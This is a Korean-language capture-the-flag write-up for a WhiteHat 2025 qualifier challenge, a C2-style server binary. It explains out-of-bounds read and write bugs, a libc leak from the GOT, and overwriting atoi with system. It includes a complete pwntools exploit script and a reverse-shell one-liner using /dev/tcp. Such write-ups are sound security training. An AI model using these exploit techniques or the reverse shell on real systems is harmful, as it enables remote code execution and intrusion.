WhiteHat Contest 2025 Quals - Search And Attack

0x00. Introduction

โžœ  tree .
.
โ”œโ”€โ”€ 8f7c31c3010792cd92b452ac7223128f64189e61ee52fedc107c87a3408a66e9
โ””โ”€โ”€ cnc
    โ”œโ”€โ”€ 39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2
    โ”œโ”€โ”€ 39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2.c
    โ””โ”€โ”€ libc.so.6

์‹คํ–‰ ํŒŒ์ผ์€ ์„œ๋ฒ„์™€ ์•…์„ฑ์ฝ”๋“œ(์•„๋งˆ๋„), ์†Œ์Šค์ฝ”๋“œ์™€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํŒŒ์ผ์ด ์ œ๊ณต๋œ๋‹ค. ์ฒ˜์Œ์— ์•…์„ฑ์ฝ”๋“œ๋กœ ์ถ”์ •๋˜๋Š” 8f7c ํŒŒ์ผ์„ ๋ถ„์„ํ•ด์•ผ ํ•˜๋‚˜ ์‹ถ์—ˆ๋Š”๋ฐ, ๊ฒฐ๊ตญ์—๋Š” ๋ฌธ์ œ์™€ ์ „ํ˜€ ๊ด€๋ จ์ด ์—†์—ˆ๋‹ค.

[*] '/home/user/cnc/39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    RUNPATH:    b'.'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

C2 ์„œ๋ฒ„ ํŒŒ์ผ์ธ 39fd์— ์ ์šฉ๋œ ๋ณดํ˜ธ๊ธฐ๋ฒ•์€ ์œ„์™€ ๊ฐ™๋‹ค.

Environment

์˜ค๋žœ๋งŒ์— docker ํ™˜๊ฒฝ์ด ์•„๋‹Œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํŒŒ์ผ์ด ์ฃผ์–ด์ ธ LD_PRELOAD๋ฅผ ํ•˜๋ ค๊ณ  ํ–ˆ๋Š”๋ฐ, ๋งํ‚น์ด ์ž˜ ์•ˆ๋๋‹ค.

๊ฒฐ๊ตญ pwninit์ด๋ผ๋Š” ํˆด์„ ์ฐพ์•„ ํ•ด๊ฒฐํ–ˆ๋‹ค. ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํŒŒ์ผ์„ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋Š” ๋กœ๋”๋ฅผ ์ฐพ์•„ ๋‹ค์šด๋ฐ›์„ ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ํŒจ์น˜ํ•ด์„œ ์ฃผ์–ด์ง„ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๋กœ๋“œํ•˜๊ฒŒ ๋ณ€๊ฒฝํ•ด์ค€๋‹ค. ๊ต‰์žฅํžˆ ๊ฐ„๋‹จํ•œ๋ฐ ๊ฐ•๋ ฅํ•œ ๋„๊ตฌ์ธ ๊ฒƒ ๊ฐ™๋‹ค.

Concept

โžœ  ./39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2
[*] Starting server on port 8080...
[*] Server listening on port 8080

C2 ์„œ๋ฒ„ ํŒŒ์ผ์„ ์‹คํ–‰ํ•˜๋ฉด ์œ„์™€ ๊ฐ™์ด 8080 ํฌํŠธ๋ฅผ ์—ด๊ณ  ๋Œ€๊ธฐํ•œ๋‹ค. ์ดํ›„ C2 ํ”„๋กœํ† ์ฝœ์— ๋งž๋Š” ์š”์ฒญ์ด ์™”์„ ๋•Œ ๊ทธ์— ํ•ด๋‹นํ•˜๋Š” ๋กœ์ง์„ ์ˆ˜ํ–‰ํ•œ๋‹ค.

0x01. Vulnerability

์ฝ”๋“œ๊ฐ€ ์•ฝ 500์ค„์ •๋„ ๋˜๋Š”๋ฐ ํ•˜๋‚˜์˜ ์ทจ์•ฝ์ ์œผ๋กœ exploit์— ์„ฑ๊ณตํ•ด์„œ ๋‹ค๋ฅธ ์ทจ์•ฝ์ ์ด ์žˆ์„ ์ˆ˜๋„ ์žˆ๋‹ค.

void update_bot(int bot_id, const char* data, size_t data_size) {
    pthread_mutex_lock(&bots_mutex);
    
    int index = bot_id;
    int field_count = 0;
    ...
    while (*ptr && field_count < 8) {
        if (*ptr == '|') {
            *ptr = '\0';
            fields[field_count++] = start;
            start = ptr + 1;
        }
        ptr++;
    }
    if (field_count < 8) {
        fields[field_count++] = start;
    }
    
    if (field_count > 0 && strlen(fields[0]) > 0) 
        memcpy(bots[index].hostname, fields[0], MAX_BUFFER_LEN - 1);
    
    if (field_count > 1 && strlen(fields[1]) > 0) 
        memcpy(bots[index].username, fields[1], MAX_BUFFER_LEN - 1);
    ...
    printf("[*] Bot updated: ID=%d\n", bot_id);
    
    pthread_mutex_unlock(&bots_mutex);
}

void detail_bot(int bot_id, int client_socket) {
    pthread_mutex_lock(&bots_mutex);
    
    char response[BUFFER_SIZE * 4] = {0};
    
    int index = bot_id;
    snprintf(response, sizeof(response), 
            "BOT_DETAIL|%d|%.255s|%.255s|%.15s|%.15s|%.255s|%.255s|%.63s|%.63s|%ld\n",
            bots[index].id,
            bots[index].hostname,
            bots[index].username,
            bots[index].public_ip,
            bots[index].private_ip,
            bots[index].os_info,
            bots[index].cpu_info,
            bots[index].ram_info,
            bots[index].disk_info,
            bots[index].last_seen);

    send(client_socket, response, strlen(response), 0);
    
    pthread_mutex_unlock(&bots_mutex);
}

update_bot๊ณผ detail_bot์—์„œ index์— ๋Œ€ํ•œ ๊ฒ€์ฆ์„ ํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ๊ฐ๊ฐ OOB write, OOB read ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•œ๋‹ค.

0x02. Exploit

OOB Read

์ตœ๋Œ€ bots์˜ ๊ฐœ์ˆ˜์ธ MAX_BOTS๊ฐ€ 1000์ด๋‚˜ ๋˜๊ธฐ ๋•Œ๋ฌธ์— bots์˜ ๋’ค ์˜์—ญ๋ณด๋‹ค๋Š” ์•ž ์˜์—ญ์— ๊ด€์‹ฌ์ด ๊ฐ”๋‹ค.

์šฐ์„  OOB read๋ฅผ ํ™œ์šฉํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค์Œ๊ณผ ๊ฐ™์ด payload๋ฅผ ์ž‘์„ฑํ–ˆ๋‹ค.

    s.sendline(b"DETAIL|-1")
    r = s.recv().split(b"|")[1:]
    for o, f in zip(order, r):
        print(f"{o} : {f}, len {len(f)}")

์ด ๋•Œ ์ถœ๋ ฅ๋˜๋Š” ๋‚ด์šฉ์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

id : b'0', len 1
hostname : b'', len 0
username : b'', len 0
public_ip : b'XXXXXXXXXXXXXXX', len 15
private_ip : b'XXXXXXXXXXXXXXX', len 15
os_info : b'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', len 255
cpu_info : b'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', len 32
ram_info : b'\xa0\x95\xd3\xf7\xff\x7f', len 6
disk_info : b'P\xec\xd0\xf7\xff\x7f', len 6
last_seen : b'0\n', len 2

ram_info์™€ disk_info๋ฅผ ๋ณด๋ฉด libc ์ฃผ์†Œ๊ฐ€ ์–ป์–ด์ง„๋‹ค. bots ์œ„ ์˜์—ญ์— ํ•ด๋‹นํ•˜๋Š” ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์ถœ๋ ฅํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

gefโžค  x/46gx 0x0000000000406000
0x406000 <free@got.plt>:        0x00007ffff7cadd30      0x00007ffff7d2bbe0
0x406010 <puts@got.plt>:        0x0000000000401050      0x00007ffff7d2c180
0x406020 <inet_ntoa@got.plt>:   0x00007ffff7d3c400      0x00007ffff7d2ba30
0x406030 <strlen@got.plt>:      0x00007ffff7d8b780      0x00000000004010a0
0x406040 <htons@got.plt>:       0x00007ffff7d395a0      0x00007ffff7d2bec0
0x406050 <printf@got.plt>:      0x00007ffff7c60100      0x00007ffff7c66370
0x406060 <memset@got.plt>:      0x00007ffff7d89440      0x0000000000401100
0x406070 <strcmp@got.plt>:      0x00007ffff7d8afd0      0x00007ffff7c451a0
0x406080 <memcpy@got.plt>:      0x00007ffff7d88a40      0x00007ffff7fc3a40
0x406090 <select@got.plt>:      0x00007ffff7d26bc0      0x00007ffff7ca1a70
0x4060a0 <malloc@got.plt>:      0x00007ffff7cad650      0x00007ffff7c9dc70
0x4060b0 <listen@got.plt>:      0x00007ffff7d2bb50      0x00007ffff7d395a0
0x4060c0 <bind@got.plt>:        0x00007ffff7d2b960      0x00007ffff7c9cbc0
0x4060d0 <perror@got.plt>:      0x00007ffff7c28a93      0x00007ffff7cb5c00
0x4060e0 <accept@got.plt>:      0x00007ffff7d2b820      0x00007ffff7c58750
0x4060f0 <strcat@got.plt>:      0x007ffff7d0ec507c      0x00007ffff7d0ec50
0x406100 <pthread_mutex_lock@got.plt>:  0x00007ffff7c9fff0      0x00007ffff7d2c310
0x406110:       0x0000000000000000      0x0000000000000000
0x406120 <server_running>:      0x0000000000000001      0x0000000000000000
0x406130:       0x0000000000000000      0x00000000691bb9f6
0x406140 <completed.0>: 0x0000000000000000      0x0000000000000000
0x406150:       0x0000000000000000      0x0000000000000000
0x406160 <bots>:        0x0000000000000000      0x0000000000000000

์ด๋ ‡๊ฒŒ GOT ์˜์—ญ์„ ํ†ตํ•ด libc ์ฃผ์†Œ๊ฐ€ ์ถœ๋ ฅ๋œ๋‹ค. ์ถœ๋ ฅ๋œ ์ฃผ์†Œ๋Š” ntohs์™€ sleep์˜ libc ์ฃผ์†Œ์ด๋‹ค.

OOB Write

๋”ฐ๋ผ์„œ update_bot์„ ์ด์šฉํ•ด GOT overwrite ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ์ƒ๊ฐํ–ˆ๋Š”๋ฐ, ๊ทธ ๊ณผ์ •์—์„œ ๋‘ ๊ฐ€์ง€ ์‹ค์ˆ˜๊ฐ€ ์žˆ์—ˆ๋‹ค.

  1. GOT๋ณด๋‹ค ์œ„ ์˜์—ญ์—๋Š” r ๊ถŒํ•œ๋งŒ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— hostname, username ๋“ฑ์„ ์“ฐ๋Š” ๊ณผ์ •์—์„œ Segmentation Fault๊ฐ€ ๋ฐœ์ƒํ•จ
  2. ntohs์™€ sleep์˜ GOT๋ฅผ overwriteํ•˜๋ ค๊ณ  ํ•จ

์ด ์‹ค์ˆ˜๋“ค์€ ์ฝ”๋“œ๋ฅผ ์ž˜ ๋ณด๋ฉด ํ•˜์ง€ ์•Š์•˜์„ ๊ฒƒ์ด๋ผ์„œ ํ”ผ๋“œ๋ฐฑ ์ฐจ์›์œผ๋กœ ๊ธฐ๋กํ•œ๋‹ค.

if (field_count > 6 && strlen(fields[6]) > 0) 
    memcpy(bots[bot_index].ram_info, fields[6], MAX_IO_INFO_BUFFER_LEN - 1);
  1. strlen(field[i]) > 0์ผ ๋•Œ๋งŒ memcpy๋ฅผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— field[i]๋ฅผ ๋น„์›Œ๋‘๋ฉด hostname, username์„ ์“ฐ๋Š” ๊ณผ์ •์„ ์Šคํ‚ตํ•  ์ˆ˜ ์žˆ์Œ
  2. memcpy๋กœ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ†ต์งธ๋กœ ๋ณต์‚ฌํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๊ตณ์ด ntohs๋‚˜ sleep์ด ์•„๋‹Œ ๋’ค์— ์žˆ๋Š” ๋‹ค๋ฅธ ํ•จ์ˆ˜์˜ GOT๋ฅผ overwriteํ•ด๋„ ๋จ

์•„๋ฌดํŠผ OOB write๋ฅผ ์ด์šฉํ•ด GOT overwrite๋ฅผ ํ•˜๊ธฐ ์œ„ํ•ด ntohs ์ดํ›„์˜ GOT๋“ค์„ ์ถœ๋ ฅํ•ด๋ณด์•˜๋‹ค.

0x4060b8 <ntohs@got.plt>:       0x00007ffff7d395a0
0x4060c0 <bind@got.plt>:        0x00007ffff7d2b960
0x4060c8 <pthread_create@got.plt>:      0x00007ffff7c9cbc0
0x4060d0 <perror@got.plt>:      0x00007ffff7c28a93
0x4060d8 <strtok@got.plt>:      0x00007ffff7cb5c00
0x4060e0 <accept@got.plt>:      0x00007ffff7d2b820
0x4060e8 <atoi@got.plt>:        0x00007ffff7c58750
0x4060f0 <strcat@got.plt>:      0x007ffff7d0ec507c
0x4060f8 <sleep@got.plt>:       0x00007ffff7d0ec50
0x406100 <pthread_mutex_lock@got.plt>:  0x00007ffff7c9fff0
0x406108 <socket@got.plt>:      0x00007ffff7d2c310
0x406110:       0x0000000000000000
0x406118:       0x0000000000000000
0x406120 <server_running>:      0x0000000000000001

์œ„ ํ•จ์ˆ˜๋“ค ์ค‘ ์ธ์ž์— ์ž…๋ ฅ์„ ๋„ฃ๊ธฐ ์ข‹์€ ํ•จ์ˆ˜๋ฅผ ์ฐพ์•„๋ณด์•˜๋Š”๋ฐ, atoi๊ฐ€ ์ข‹์•„๋ณด์˜€๋‹ค.

void* handle_client(void* arg) {
    ...
    else if (strcmp(cmd, CMD_DELETE) == 0) {
        char *bot_id_str = strtok(NULL, "|");
        if (bot_id_str) {
            int bot_id = atoi(bot_id_str);
            delete_bot(bot_id);
            char response[] = "DELETED|OK\n";
            send(client_socket, response, strlen(response), 0);
        }
    }
    ...
}

์„œ๋ฒ„์— ์ „๋‹ฌ๋˜๋Š” DELETE| ์ดํ›„์— ์žˆ๋Š” ๋ฌธ์ž์—ด์ด ๊ทธ๋Œ€๋กœ bot_id_str์— ๋“ค์–ด๊ฐ€๊ธฐ ๋•Œ๋ฌธ์— atoi์˜ GOT๋ฅผ system์˜ ์ฃผ์†Œ๋กœ ๋ฐ”๊ฟจ์„ ๊ฒฝ์šฐ ์ธ์ž๋ฅผ ์ „๋‹ฌํ•ด์ฃผ๊ธฐ ๋งค์šฐ ํŽธ๋ฆฌํ•˜๋‹ค. ์ด ๋•Œ ๋‹ค๋ฅธ ํ•จ์ˆ˜๋“ค์˜ GOT๋ฅผ ๊ฑด๋“ค์ด๋ฉด ์—๋Ÿฌ๊ฐ€ ๋‚  ํ™•๋ฅ ์ด ๋†’๊ธฐ ๋•Œ๋ฌธ์— ๊ธฐ์กด ๊ฐ’๋“ค์„ ์œ ์ง€ํ•ด์ค˜์•ผ ํ•œ๋‹ค.

๋”ฐ๋ผ์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์ด payload๋ฅผ ์ž‘์„ฑํ–ˆ๋‹ค.

    payload = b"UPDATE|-1|"
    payload += b"|" * 6
    payload += p64(libc_base + lib.symbols['ntohs'])
    payload += p64(libc_base + lib.symbols['bind'])
    payload += p64(libc_base + lib.symbols['pthread_create'])
    payload += p64(libc_base + lib.symbols['perror'])
    payload += p64(libc_base + lib.symbols['strtok'])
    payload += p64(libc_base + lib.symbols['accept'])
    payload += p64(libc_base + lib.symbols['system'])       # atoi
    payload += b"|"
    payload += p64(sleep_addr)
    s.sendline(payload)

    print(s.recv())

    payload = b"DELETE|"
    payload += b"/bin/sh"
    s.sendline(payload)

    print(p.recv())

์—ฌ๊ธฐ์—์„œ๋Š” system์˜ ์ธ์ž๋กœ /bin/sh๋ฅผ ์ „๋‹ฌํ•ด๋„ ์ถฉ๋ถ„ํ–ˆ๋Š”๋ฐ, ํ™˜๊ฒฝ์— ๋”ฐ๋ผ์„œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ธ์ž๊ฐ€ ํ•„์š”ํ•  ์ˆ˜๋„ ์žˆ๋‹ค.

  • bash -c 'bash -i >& /dev/tcp/[IP]/[PORT] 0>&1'

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2_patched"
LIBRARY = "libc.so.6"
CONTAINER = ""
code_base = 0x555555554000
bp = {
    'main' : code_base + 0x16ae,
}
gs = f'''
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main(server, port, debug):
    if(port):
        s = remote(server, port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        p = process(BINARY)
        if debug:
            gdb.attach(p, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)
    order = ["id", "hostname", "username", "public_ip", "private_ip", "os_info", "cpu_info", "ram_info", "disk_info", "last_seen"]

    print(p.recvuntil(b"8080\n"))

    s = remote("127.0.0.1", 8080)

    s.sendline(b"DETAIL|-1")
    r = s.recv().split(b"|")[1:]
    for o, f in zip(order, r):
        print(f"{o} : {f}, len {len(f)}")
    ntohs_addr = u64(r[-3] + b"\x00\x00")
    sleep_addr = u64(r[-2] + b"\x00\x00")
    libc_base = sleep_addr - lib.symbols['sleep']

    log.info(f"ntohs_addr : {hex(ntohs_addr)}")
    log.info(f"sleep_addr : {hex(sleep_addr)}")
    log.info(f"libc_base  : {hex(libc_base)}")

    payload = b"UPDATE|-1|"
    payload += b"|" * 6
    payload += p64(libc_base + lib.symbols['ntohs'])
    payload += p64(libc_base + lib.symbols['bind'])
    payload += p64(libc_base + lib.symbols['pthread_create'])
    payload += p64(libc_base + lib.symbols['perror'])
    payload += p64(libc_base + lib.symbols['strtok'])
    payload += p64(libc_base + lib.symbols['accept'])
    payload += p64(libc_base + lib.symbols['system'])       # atoi
    payload += b"|"
    payload += p64(sleep_addr)
    s.sendline(payload)

    print(s.recv())

    payload = b"DELETE|"
    payload += b"/bin/sh"
    s.sendline(payload)

    print(p.recv())

    p.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.server, args.port, args.debug)